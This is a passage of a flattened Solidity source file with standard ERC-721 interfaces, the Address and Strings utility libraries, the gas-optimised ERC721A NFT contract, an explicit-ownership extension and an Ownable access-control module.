* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File lib/token/ERC721/IERC721.sol
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File lib/token/ERC721/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File lib/token/ERC721/extensions/IERC721Metadata.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File lib/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File lib/utils/Context.sol
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File lib/utils/Strings.sol
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File lib/utils/introspection/ERC165.sol
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File lib/token/ERC721A.sol
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = to;
currSlot.startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev This is equivalent to _burn(tokenId, false)
*/
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
address from = prevOwnership.addr;
if (approvalCheck) {
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
AddressData storage addressData = _addressData[from];
addressData.balance -= 1;
addressData.numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = from;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File lib/token/ERC721AOwnersExplicit.sol
error AllOwnershipsHaveBeenSet();
error QuantityMustBeNonZero();
error NoTokensMintedYet();
abstract contract ERC721AOwnersExplicit is ERC721A {
uint256 public nextOwnerToExplicitlySet;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
if (quantity == 0) revert QuantityMustBeNonZero();
if (_currentIndex == _startTokenId()) revert NoTokensMintedYet();
uint256 _nextOwnerToExplicitlySet = nextOwnerToExplicitlySet;
if (_nextOwnerToExplicitlySet == 0) {
_nextOwnerToExplicitlySet = _startTokenId();
}
if (_nextOwnerToExplicitlySet >= _currentIndex) revert AllOwnershipsHaveBeenSet();
// Index underflow is impossible.
// Counter or index overflow is incredibly unrealistic.
unchecked {
uint256 endIndex = _nextOwnerToExplicitlySet + quantity - 1;
// Set the end index to be the last token index
if (endIndex + 1 > _currentIndex) {
endIndex = _currentIndex - 1;
}
for (uint256 i = _nextOwnerToExplicitlySet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0) && !_ownerships[i].burned) {
TokenOwnership memory ownership = _ownershipOf(i);
_ownerships[i].addr = ownership.addr;
_ownerships[i].startTimestamp = ownership.startTimestamp;
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
}
}
// File lib/token/ERC721/extensions/ERC721Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
